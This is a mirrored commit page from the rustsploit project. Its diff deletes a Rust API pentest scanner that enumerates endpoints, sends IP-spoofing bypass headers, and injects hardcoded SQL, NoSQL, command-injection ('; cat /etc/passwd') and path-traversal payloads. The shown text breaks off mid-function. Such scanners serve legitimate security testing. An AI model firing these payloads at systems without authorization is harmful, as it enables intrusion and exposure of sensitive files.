mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Delete src/modules/scanners directory
This commit is contained in:
@@ -1,802 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use futures::{stream, StreamExt};
|
||||
use rand::seq::IndexedRandom;
|
||||
use reqwest::{Client, Method, Response};
|
||||
use std::fs::{self, File, OpenOptions};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Instant;
|
||||
|
||||
use crate::utils::{prompt_existing_file, prompt_int_range, prompt_default, prompt_yes_no, prompt_wordlist, load_lines};
|
||||
use serde_json::json;
|
||||
|
||||
// =========================================================================
|
||||
// CONSTANTS
|
||||
// =========================================================================
|
||||
|
||||
const CHROME_USER_AGENTS: &[&str] = &[
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
|
||||
];
|
||||
|
||||
const SPOOF_HEADERS: &[&str] = &[
|
||||
"X-Forwarded-For", "X-Forwarded-Host", "X-Client-IP", "X-Remote-IP", "X-Remote-Addr",
|
||||
"X-Host", "X-Originating-IP", "Client-IP", "True-Client-IP", "Cluster-Client-IP",
|
||||
"X-ProxyUser-Ip", "Via", "X-Real-IP", "Forwarded", "X-Custom-IP-Authorization",
|
||||
"X-Original-URL", "X-Rewrite-URL", "X-Forwarded-Scheme", "X-Forwarded-Proto", "X-Forwarded-Port"
|
||||
];
|
||||
|
||||
const SQLI_PAYLOADS: &[&str] = &[
|
||||
"'", "\"", "OR 1=1", "' OR '1'='1", "\" OR \"1\"=\"1",
|
||||
"1' ORDER BY 1--+", "1' UNION SELECT 1,2,3--+",
|
||||
"admin' --", "admin' #", "' OR 1=1--",
|
||||
];
|
||||
|
||||
const NOSQLI_PAYLOADS: &[&str] = &[
|
||||
"{$ne: null}", "{$gt: \"\"}", "{$where: \"return true\"}",
|
||||
"|| return true;", "'; return true; var foo='",
|
||||
];
|
||||
|
||||
const CMDI_PAYLOADS: &[&str] = &[
|
||||
"; id", "| id", "`id`", "$(id)",
|
||||
"; cat /etc/passwd", "| cat /etc/passwd",
|
||||
"& ping -c 1 127.0.0.1",
|
||||
];
|
||||
const TRAVERSAL_PAYLOADS: &[&str] = &[
|
||||
"../../etc/passwd",
|
||||
"../../../../../../../../etc/passwd",
|
||||
"..%2f..%2f..%2fetc%2fpasswd",
|
||||
"....//....//....//etc/passwd",
|
||||
"../../windows/win.ini",
|
||||
];
|
||||
|
||||
// =========================================================================
|
||||
// DATA STRUCTURES
|
||||
// =========================================================================
|
||||
|
||||
#[derive(Clone, Copy, PartialEq, Debug)]
|
||||
enum ScanModule {
|
||||
Baseline,
|
||||
Spoofing,
|
||||
SQLi,
|
||||
NoSQLi,
|
||||
CMDi,
|
||||
PathTraversal,
|
||||
IdEnumeration,
|
||||
}
|
||||
|
||||
struct ScanConfig {
|
||||
target_base: String,
|
||||
methods: Vec<Method>,
|
||||
modules: Vec<ScanModule>,
|
||||
use_generic_payload: bool,
|
||||
output_dir: String,
|
||||
sqli_payloads: Option<Vec<String>>,
|
||||
nosqli_payloads: Option<Vec<String>>,
|
||||
cmdi_payloads: Option<Vec<String>>,
|
||||
traversal_payloads: Option<Vec<String>>,
|
||||
// ID Enumeration Config
|
||||
id_start: Option<usize>,
|
||||
id_end: Option<usize>,
|
||||
id_file_path: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
struct Endpoint {
|
||||
key: String,
|
||||
path: String,
|
||||
}
|
||||
|
||||
#[derive(serde::Serialize)]
|
||||
struct GenericPayload {
|
||||
name: String,
|
||||
description: String,
|
||||
test: bool,
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// MAIN ENTRY POINT
|
||||
// =========================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ API Endpoint Pentest Module ║".cyan());
|
||||
println!("{}", "║ Tests API endpoints for common issues ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
|
||||
// 1. Input parsing & Configuration
|
||||
let output_dir_name = prompt_default("Output directory name", "api_scan_results")?;
|
||||
let use_spoofing = prompt_yes_no("Enable IP Spoofing/Bypass headers logic? (Applies to all selected modules)", false)?;
|
||||
let use_generic_payload = prompt_yes_no("Send generic JSON payload with POST/PUT/PATCH? (Better for API compatibility)", true)?;
|
||||
|
||||
// Method Selection
|
||||
let mut methods = vec![Method::GET, Method::POST];
|
||||
if prompt_yes_no("Enable DELETE method? (WARNING: Destructive)", false)? {
|
||||
methods.push(Method::DELETE);
|
||||
}
|
||||
if prompt_yes_no("Enable Extended HTTP methods (PUT, PATCH, HEAD, OPTIONS, CONNECT, TRACE, DEBUG)?", false)? {
|
||||
methods.extend(vec![
|
||||
Method::PUT, Method::PATCH, Method::HEAD, Method::OPTIONS, Method::CONNECT, Method::TRACE,
|
||||
Method::PUT, Method::PATCH, Method::HEAD, Method::OPTIONS, Method::CONNECT, Method::TRACE,
|
||||
match Method::from_bytes(b"DEBUG") { Ok(m) => m, Err(_) => Method::GET }, // Method parsing is generally safe for ASCII
|
||||
]);
|
||||
}
|
||||
|
||||
println!("1. Baseline (Standard Requests)");
|
||||
println!("2. SQL Injection");
|
||||
println!("3. NoSQL Injection");
|
||||
println!("4. Command Injection");
|
||||
println!("5. Path Traversal");
|
||||
println!("6. ID/Payload Enumeration");
|
||||
|
||||
let module_selection = prompt_default("Selection", "1")?;
|
||||
let mut modules = Vec::new();
|
||||
|
||||
for s in module_selection.split(',') {
|
||||
match s.trim() {
|
||||
"1" => modules.push(ScanModule::Baseline),
|
||||
"2" => modules.push(ScanModule::SQLi),
|
||||
"3" => modules.push(ScanModule::NoSQLi),
|
||||
"4" => modules.push(ScanModule::CMDi),
|
||||
"5" => modules.push(ScanModule::PathTraversal),
|
||||
"6" => modules.push(ScanModule::IdEnumeration),
|
||||
_ => println!("{}", format!("Invalid module selection: {}", s).yellow()),
|
||||
}
|
||||
}
|
||||
if use_spoofing {
|
||||
modules.push(ScanModule::Spoofing);
|
||||
}
|
||||
modules.dedup(); // Remove duplicates if any
|
||||
|
||||
if modules.is_empty() {
|
||||
return Err(anyhow!("No modules selected!"));
|
||||
}
|
||||
|
||||
let concurrency = prompt_int_range("Concurrency limit", 10, 1, 100)? as usize;
|
||||
|
||||
// Bug 10: Configurable timeout
|
||||
let timeout_secs = prompt_int_range("Timeout (seconds)", 10, 1, 60)? as u64;
|
||||
|
||||
// Injection Attacks Configuration
|
||||
let sqli_payloads = if modules.contains(&ScanModule::SQLi) {
|
||||
configure_injection_payloads("SQL", SQLI_PAYLOADS)?
|
||||
} else { None };
|
||||
|
||||
let nosqli_payloads = if modules.contains(&ScanModule::NoSQLi) {
|
||||
configure_injection_payloads("NoSQL", NOSQLI_PAYLOADS)?
|
||||
} else { None };
|
||||
|
||||
let cmdi_payloads = if modules.contains(&ScanModule::CMDi) {
|
||||
configure_injection_payloads("Command", CMDI_PAYLOADS)?
|
||||
} else { None };
|
||||
|
||||
let traversal_payloads = if modules.contains(&ScanModule::PathTraversal) {
|
||||
configure_injection_payloads("Path Traversal", TRAVERSAL_PAYLOADS)?
|
||||
} else { None };
|
||||
|
||||
// ID Enumeration Configuration
|
||||
let (id_start, id_end, id_file_path) = if modules.contains(&ScanModule::IdEnumeration) {
|
||||
println!("\n{}", "Configure ID/Payload Enumeration:".cyan().bold());
|
||||
println!("1. Numeric Range (e.g. 1-100)");
|
||||
println!("2. File List (e.g. valid_ids.txt)");
|
||||
let enum_choice = prompt_default("Selection", "1")?;
|
||||
|
||||
if enum_choice == "2" {
|
||||
(None, None, Some(prompt_existing_file("Path to ID/Payload file")?))
|
||||
} else {
|
||||
let start = prompt_int_range("Start ID", 1, 0, 1000000)? as usize;
|
||||
let end = prompt_int_range("End ID", 100, start as i64, 1000000)? as usize;
|
||||
if start > end {
|
||||
return Err(anyhow!("Start ID must be less than or equal to End ID"));
|
||||
}
|
||||
(Some(start), Some(end), None)
|
||||
}
|
||||
} else {
|
||||
(None, None, None)
|
||||
};
|
||||
|
||||
// Validate and format target base URL
|
||||
let target_base = if target.contains("://") {
|
||||
target.trim_end_matches('/').to_string()
|
||||
} else {
|
||||
format!("https://{}", target.trim_end_matches('/'))
|
||||
};
|
||||
|
||||
println!("[*] Using target: {}", target_base.cyan());
|
||||
|
||||
// 2. Endpoint Source Selection
|
||||
println!("\n{}", "Select Endpoint Source:".cyan().bold());
|
||||
println!("1. Load from file (Known endpoints)");
|
||||
println!("2. Brute-force/Enumerate (Discover using wordlist)");
|
||||
let source_choice = prompt_default("Selection", "1")?;
|
||||
|
||||
let mut endpoints = if source_choice == "2" {
|
||||
// Enumerate
|
||||
let base_path = prompt_default("Base Path (e.g. /api/)", "/")?;
|
||||
let wordlist_path = prompt_wordlist("Wordlist path")?;
|
||||
|
||||
// Setup simple client for enumeration
|
||||
let enum_client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
enumerate_endpoints(&enum_client, &target_base, &base_path, &wordlist_path, concurrency).await?
|
||||
} else {
|
||||
// Load from file
|
||||
let endpoint_file = prompt_existing_file("Path to endpoint list file")?;
|
||||
parse_endpoint_file(&endpoint_file)?
|
||||
};
|
||||
|
||||
// Deduplicate endpoints based on key and path to avoid redundant work and file collisions
|
||||
endpoints.sort_by(|a, b| a.key.cmp(&b.key).then(a.path.cmp(&b.path)));
|
||||
endpoints.dedup_by(|a, b| a.key == b.key && a.path == b.path);
|
||||
|
||||
if endpoints.is_empty() {
|
||||
return Err(anyhow!("No valid endpoints found/discovered. Exiting."));
|
||||
}
|
||||
println!("[*] Processing {} endpoints", endpoints.len().to_string().cyan());
|
||||
|
||||
// 3. Setup Client
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(timeout_secs))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// 4. Create Output Directory
|
||||
fs::create_dir_all(&output_dir_name).context("Failed to create output directory")?;
|
||||
// Get absolute path for logging
|
||||
let abs_output_dir = fs::canonicalize(&output_dir_name)?;
|
||||
println!("[*] Saving results to: {}", abs_output_dir.display().to_string().cyan());
|
||||
|
||||
let config = Arc::new(ScanConfig {
|
||||
target_base,
|
||||
methods,
|
||||
modules,
|
||||
use_generic_payload,
|
||||
output_dir: output_dir_name,
|
||||
sqli_payloads,
|
||||
nosqli_payloads,
|
||||
cmdi_payloads,
|
||||
traversal_payloads,
|
||||
id_start,
|
||||
id_end,
|
||||
id_file_path,
|
||||
});
|
||||
let client = Arc::new(client);
|
||||
|
||||
// 5. Run Concurrent Scan
|
||||
println!("{}", "\n[*] Starting scan...".cyan().bold());
|
||||
let start_time = Instant::now();
|
||||
let counter = Arc::new(AtomicUsize::new(0));
|
||||
let total = endpoints.len();
|
||||
|
||||
let stream = stream::iter(endpoints)
|
||||
.map(|endpoint| {
|
||||
let config = Arc::clone(&config);
|
||||
let client = client.clone();
|
||||
let counter = Arc::clone(&counter);
|
||||
async move {
|
||||
let current = counter.fetch_add(1, Ordering::SeqCst) + 1;
|
||||
// Print progress occasionally
|
||||
if current % 10 == 0 || current == total {
|
||||
print!("\r[*] Progress: {}/{}", current, total);
|
||||
if let Err(e) = std::io::stdout().flush() {
|
||||
eprintln!("\n[!] Failed to flush stdout: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
scan_endpoint(&client, &config, endpoint).await
|
||||
}
|
||||
})
|
||||
.buffer_unordered(concurrency);
|
||||
|
||||
// Collect all results
|
||||
let results: Vec<()> = stream.collect().await;
|
||||
|
||||
println!("\n{}", "\n[+] Scan completed!".green().bold());
|
||||
println!("[+] Processed {} endpoints.", results.len());
|
||||
println!("Time elapsed: {:.2?}", start_time.elapsed());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// SETUP HELPERS
|
||||
// =========================================================================
|
||||
|
||||
fn configure_injection_payloads(name: &str, default_payloads: &[&str]) -> Result<Option<Vec<String>>> {
|
||||
println!(); // Add spacing
|
||||
if !prompt_yes_no(&format!("Test for {} Injection?", name), false)? {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
if prompt_yes_no(&format!("Use default {} payloads?", name), true)? {
|
||||
return Ok(Some(default_payloads.iter().map(|&s| s.to_string()).collect()));
|
||||
}
|
||||
|
||||
let file_path = prompt_existing_file(&format!("Path to custom {} payload file", name))?;
|
||||
let file = File::open(file_path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let payloads: Vec<String> = reader.lines()
|
||||
.collect::<Result<_, _>>()?;
|
||||
|
||||
if payloads.is_empty() {
|
||||
return Err(anyhow!("Payload file is empty"));
|
||||
}
|
||||
|
||||
Ok(Some(payloads))
|
||||
}
|
||||
|
||||
fn parse_endpoint_file(path: &str) -> Result<Vec<Endpoint>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut endpoints = Vec::new();
|
||||
|
||||
for (idx, line_res) in reader.lines().enumerate() {
|
||||
let line = line_res?;
|
||||
let items: Vec<&str> = line.split_whitespace().collect();
|
||||
|
||||
if items.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
if items.len() >= 2 {
|
||||
endpoints.push(Endpoint {
|
||||
key: items[0].to_string(),
|
||||
path: items[1].to_string(),
|
||||
});
|
||||
} else if items.len() == 1 {
|
||||
// Fallback for files with just paths
|
||||
// Use path as key (sanitized)
|
||||
let path_str = items[0];
|
||||
let key = path_str.replace('/', "_").trim_start_matches('_').to_string();
|
||||
endpoints.push(Endpoint {
|
||||
key: if key.is_empty() { "root".to_string() } else { key },
|
||||
path: path_str.to_string(),
|
||||
});
|
||||
} else {
|
||||
// Should not happen due to is_empty check, but good to report if logic changes
|
||||
println!("{}", format!("[!] Skipping line {} - unknown format: '{}'", idx + 1, line).yellow());
|
||||
}
|
||||
}
|
||||
Ok(endpoints)
|
||||
}
|
||||
|
||||
async fn enumerate_endpoints(client: &Client, target_base: &str, base_path: &str, wordlist_path: &str, concurrency: usize) -> Result<Vec<Endpoint>> {
|
||||
println!("{}", "\n[*] Starting Endpoint Enumeration...".cyan());
|
||||
|
||||
let lines = load_lines(wordlist_path)?;
|
||||
if lines.is_empty() {
|
||||
return Err(anyhow!("Wordlist is empty"));
|
||||
}
|
||||
let total = lines.len();
|
||||
println!("[*] Enumerating {} potential endpoints with concurrency {}", total, concurrency);
|
||||
|
||||
let base_url = format!("{}{}",
|
||||
target_base.trim_end_matches('/'),
|
||||
if base_path.starts_with('/') { base_path.to_string() } else { format!("/{}", base_path) }
|
||||
);
|
||||
// Ensure base_url ends with / for appending words
|
||||
let base_url = if base_url.ends_with('/') { base_url } else { format!("{}/", base_url) };
|
||||
|
||||
let counter = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Bug 6: Calculate base path prefix once outside loop
|
||||
let clean_base_path = if base_path.starts_with('/') { base_path.to_string() } else { format!("/{}", base_path) };
|
||||
|
||||
// Use a stream that returns Option<Endpoint> instead of locking a shared Vec
|
||||
let stream = stream::iter(lines)
|
||||
.map(|word| {
|
||||
let client = client.clone();
|
||||
let counter = Arc::clone(&counter);
|
||||
let base_url = base_url.clone();
|
||||
let clean_base_path = clean_base_path.clone();
|
||||
async move {
|
||||
let current = counter.fetch_add(1, Ordering::SeqCst) + 1;
|
||||
if current % 50 == 0 || current == total {
|
||||
print!("\r[*] Brute-force Progress: {}/{}", current, total);
|
||||
if let Err(_e) = std::io::stdout().flush() {
|
||||
// Ignore flush errors in tough loops
|
||||
}
|
||||
}
|
||||
|
||||
let url = format!("{}{}", base_url, word);
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
// Consider valid if not 404
|
||||
if status != reqwest::StatusCode::NOT_FOUND {
|
||||
// Recalculate clean path efficiently
|
||||
let clean_path = format!("{}{}", clean_base_path, word);
|
||||
// Ensure no double slashes (Bug 5 fix: check logic)
|
||||
let clean_path = clean_path.replace("//", "/");
|
||||
|
||||
Some(Endpoint {
|
||||
key: word.to_string(),
|
||||
path: clean_path,
|
||||
})
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
Err(_) => None,
|
||||
}
|
||||
}
|
||||
})
|
||||
.buffer_unordered(concurrency);
|
||||
|
||||
// Collect all results and filter out Nones
|
||||
let results: Vec<Endpoint> = stream
|
||||
.filter_map(|x| async { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
println!(); // Newline after progress
|
||||
|
||||
if results.is_empty() {
|
||||
println!("{}", "[-] No endpoints occurred.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Discovered {} endpoints!", results.len()).green().bold());
|
||||
for ep in &results {
|
||||
println!(" - {}", ep.path);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(results)
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// SCAN LOGIC
|
||||
// =========================================================================
|
||||
|
||||
async fn scan_endpoint(client: &Client, config: &ScanConfig, endpoint: Endpoint) {
|
||||
// Create directory for this endpoint
|
||||
// Bug 9: Fix collision by appending a short hash of path
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
use std::hash::{Hash, Hasher};
|
||||
let mut hasher = DefaultHasher::new();
|
||||
endpoint.path.hash(&mut hasher);
|
||||
let path_hash = hasher.finish();
|
||||
|
||||
let sanitized_key = format!("{}_{:x}",
|
||||
endpoint.key.replace(|c: char| !c.is_alphanumeric() && c != '_', "_"),
|
||||
path_hash
|
||||
);
|
||||
let endpoint_dir = Path::new(&config.output_dir).join(&sanitized_key);
|
||||
|
||||
if let Err(e) = fs::create_dir_all(&endpoint_dir) {
|
||||
eprintln!("\n{}", format!("[!] Failed to create dir for {}: {}", endpoint.key, e).red());
|
||||
return;
|
||||
}
|
||||
|
||||
let url = format!("{}{}", config.target_base, endpoint.path);
|
||||
|
||||
// Iterate through all selected methods
|
||||
for method in &config.methods {
|
||||
let method_str = method.as_str().to_string();
|
||||
|
||||
// Iterate through all selected modules
|
||||
for module in &config.modules {
|
||||
match module {
|
||||
ScanModule::Baseline => {
|
||||
// Standard Request
|
||||
scan_method(client, &url, method.clone(), &endpoint_dir, &method_str, config).await;
|
||||
},
|
||||
ScanModule::Spoofing => {
|
||||
scan_spoofing(client, &url, method.clone(), &endpoint_dir, &method_str, config).await;
|
||||
},
|
||||
ScanModule::SQLi => {
|
||||
if let Some(payloads) = &config.sqli_payloads {
|
||||
for payload in payloads {
|
||||
perform_injection(client, &url, method.clone(), "SQLi", payload, &endpoint_dir, config).await;
|
||||
}
|
||||
}
|
||||
},
|
||||
ScanModule::NoSQLi => {
|
||||
if let Some(payloads) = &config.nosqli_payloads {
|
||||
for payload in payloads {
|
||||
perform_injection(client, &url, method.clone(), "NoSQLi", payload, &endpoint_dir, config).await;
|
||||
}
|
||||
}
|
||||
},
|
||||
ScanModule::CMDi => {
|
||||
if let Some(payloads) = &config.cmdi_payloads {
|
||||
for payload in payloads {
|
||||
perform_injection(client, &url, method.clone(), "CMDi", payload, &endpoint_dir, config).await;
|
||||
}
|
||||
}
|
||||
},
|
||||
ScanModule::PathTraversal => {
|
||||
if let Some(payloads) = &config.traversal_payloads {
|
||||
for payload in payloads {
|
||||
perform_injection(client, &url, method.clone(), "Traversal", payload, &endpoint_dir, config).await;
|
||||
}
|
||||
}
|
||||
},
|
||||
ScanModule::IdEnumeration => {
|
||||
perform_id_enumeration(client, &url, method.clone(), &endpoint_dir, config).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn perform_id_enumeration(client: &Client, url: &str, method: Method, dir: &Path, config: &ScanConfig) {
|
||||
let enum_dir = dir.join("enumeration");
|
||||
if let Err(e) = fs::create_dir_all(&enum_dir) {
|
||||
eprintln!("[!] Failed to create enumeration directory: {}", e);
|
||||
return;
|
||||
}
|
||||
|
||||
let bodies_dir = enum_dir.join("bodies");
|
||||
if let Err(e) = fs::create_dir_all(&bodies_dir) {
|
||||
eprintln!("[!] Failed to create bodies directory: {}", e);
|
||||
return;
|
||||
}
|
||||
|
||||
let results_file = enum_dir.join("results.txt");
|
||||
// Open file once to prevent resource exhaustion in loop
|
||||
let mut results_file_handle = match OpenOptions::new().create(true).append(true).open(&results_file) {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to open results file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Determine injection point
|
||||
// Strategy: Look for the last numeric segment. If found, replace it.
|
||||
// If NOT found, append to the end.
|
||||
let parts: Vec<&str> = url.split('/').collect();
|
||||
let mut numeric_index = None;
|
||||
|
||||
for (i, part) in parts.iter().enumerate().rev() {
|
||||
if part.chars().all(|c| c.is_digit(10)) && !part.is_empty() {
|
||||
numeric_index = Some(i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Prepare iterator
|
||||
let payloads: Vec<String> = if let Some(path) = &config.id_file_path {
|
||||
if let Ok(lines) = load_lines(path) {
|
||||
lines
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
} else if let (Some(start), Some(end)) = (config.id_start, config.id_end) {
|
||||
(start..=end).map(|i| i.to_string()).collect()
|
||||
} else {
|
||||
return;
|
||||
};
|
||||
|
||||
for payload in payloads {
|
||||
let target_url = if let Some(idx) = numeric_index {
|
||||
// Replace existing number
|
||||
let mut new_parts = parts.clone();
|
||||
new_parts[idx] = &payload;
|
||||
new_parts.join("/")
|
||||
} else {
|
||||
// Append
|
||||
let base = if url.ends_with('/') { url.to_string() } else { format!("{}/", url) };
|
||||
format!("{}{}", base, payload)
|
||||
};
|
||||
|
||||
// Label for connection reuse/logging
|
||||
let label = format!("ID-Enum-{}", payload);
|
||||
|
||||
// Execute Request logic manually here to handle specific saving logic
|
||||
// Or reuse perform_request but we want to save bodies specifically
|
||||
|
||||
let req_builder = client.request(method.clone(), &target_url)
|
||||
.header("User-Agent", "Mozilla/5.0 (IDEnum)");
|
||||
|
||||
match req_builder.send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
if status != reqwest::StatusCode::NOT_FOUND {
|
||||
// Log hit
|
||||
// Log hit with shared handle
|
||||
// Log hit with shared handle
|
||||
if let Err(e) = run_enum_logging_handle(&mut results_file_handle, &payload, &label, status, &target_url) {
|
||||
eprintln!("[!] Logging failed: {}", e);
|
||||
}
|
||||
|
||||
// If 200, save body
|
||||
if status.is_success() {
|
||||
let body_file = bodies_dir.join(format!("{}.txt", payload));
|
||||
let body = match resp.bytes().await {
|
||||
Ok(b) => b,
|
||||
Err(_) => bytes::Bytes::new(),
|
||||
};
|
||||
if let Ok(mut f) = File::create(body_file) {
|
||||
if let Err(e) = f.write_all(&body) {
|
||||
eprintln!("[!] Failed to write body: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn run_enum_logging_handle(file: &mut File, payload: &str, label: &str, status: reqwest::StatusCode, url: &str) -> std::io::Result<()> {
|
||||
writeln!(file, "[{}] [{}] ID: {} - Status: {} - URL: {}", chrono::Local::now().format("%H:%M:%S"), label, payload, status, url)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_method(client: &Client, url: &str, method: Method, dir: &Path, method_name: &str, config: &ScanConfig) {
|
||||
let result_file = dir.join("results.txt");
|
||||
// Standard Request Only (Spoofing separated)
|
||||
perform_request(client, url, method.clone(), &result_file, method_name, "Standard", None, None, config).await;
|
||||
}
|
||||
|
||||
async fn scan_spoofing(client: &Client, url: &str, method: Method, dir: &Path, method_name: &str, config: &ScanConfig) {
|
||||
let result_file = dir.join("results.txt");
|
||||
for &header in SPOOF_HEADERS {
|
||||
let value = if header == "X-Forwarded-Host" { "localhost" } else { "127.0.0.1" };
|
||||
perform_request(client, url, method.clone(), &result_file, method_name, &format!("Spoof-{}", header), Some((header, value)), None, config).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn perform_injection(client: &Client, url: &str, method: Method, type_name: &str, payload: &str, dir: &Path, config: &ScanConfig) {
|
||||
let result_file = dir.join("injection_results.txt");
|
||||
|
||||
// 1. URL Injection (Applies to ALL methods)
|
||||
// Construct URL with payload
|
||||
// Bug 16: Fix parameter injection logic
|
||||
let injected_url = if url.contains('?') {
|
||||
format!("{}&test={}", url, payload)
|
||||
} else {
|
||||
format!("{}?test={}", url, payload)
|
||||
};
|
||||
|
||||
perform_request(client, &injected_url, method.clone(), &result_file, type_name, &format!("{}-URL-{}", method.as_str(), payload), None, None, config).await;
|
||||
|
||||
// 2. Body Injection (Only for methods that typically support body)
|
||||
// POST, PUT, PATCH, DELETE
|
||||
match method {
|
||||
Method::POST | Method::PUT | Method::PATCH | Method::DELETE => {
|
||||
// Construct malicious JSON
|
||||
let json_payload = json!({
|
||||
"name": payload,
|
||||
"description": payload,
|
||||
"test": true,
|
||||
"id": payload,
|
||||
"query": payload
|
||||
});
|
||||
|
||||
perform_request(client, url, method, &result_file, type_name, &format!("Body-{}", payload), None, Some(json_payload), config).await;
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// REQUEST EXECUTION
|
||||
// =========================================================================
|
||||
|
||||
async fn perform_request(client: &Client, url: &str, method: Method, result_file: &Path, method_name: &str, valid_label: &str, header: Option<(&str, &str)>, custom_json: Option<serde_json::Value>, config: &ScanConfig) {
|
||||
let user_agent = match CHROME_USER_AGENTS.choose(&mut rand::rng()) {
|
||||
Some(ua) => *ua,
|
||||
None => "Mozilla/5.0",
|
||||
};
|
||||
|
||||
let mut req_builder = client.request(method.clone(), url)
|
||||
.header("User-Agent", user_agent);
|
||||
|
||||
if let Some((k, v)) = header {
|
||||
req_builder = req_builder.header(k, v);
|
||||
}
|
||||
|
||||
// Add payload
|
||||
if let Some(json) = custom_json {
|
||||
req_builder = req_builder.json(&json);
|
||||
} else if config.use_generic_payload && (method == Method::POST || method == Method::PUT) {
|
||||
req_builder = req_builder.json(&GenericPayload {
|
||||
name: "test_api_scanner".to_string(),
|
||||
description: "Automated scan".to_string(),
|
||||
test: true,
|
||||
});
|
||||
}
|
||||
|
||||
// Full method label for logging
|
||||
let full_label = format!("{} [{}]", method_name, valid_label);
|
||||
|
||||
match req_builder.send().await {
|
||||
Ok(resp) => {
|
||||
if let Err(e) = log_response(resp, result_file, &full_label, url, user_agent).await {
|
||||
eprintln!("\n{}", format!("[!] Failed to log response for {}: {}", full_label, e).red());
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
// Log error to file
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(result_file) {
|
||||
if let Err(write_err) = writeln!(file, "=== {} {} ===\nError: {}\n", full_label, url, e) {
|
||||
eprintln!("[!] Failed to write error log: {}", write_err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn log_response(resp: Response, path: &Path, method: &str, url: &str, user_agent: &str) -> Result<()> {
|
||||
let status = resp.status();
|
||||
let headers = resp.headers().clone();
|
||||
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(path)?;
|
||||
|
||||
// Safety: Limit body read to 1MB to prevent OOM
|
||||
// Bug 11: Check Content-Length first
|
||||
if let Some(cl) = headers.get("content-length") {
|
||||
if let Ok(s) = cl.to_str() {
|
||||
if let Ok(len) = s.parse::<usize>() {
|
||||
if len > 5_000_000 {
|
||||
writeln!(file, "Body skipped (Content-Length: {} > 5MB)", len)?;
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Streaming check or limited read
|
||||
let body_bytes = match resp.bytes().await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
// Don't fail the whole log just for body read error
|
||||
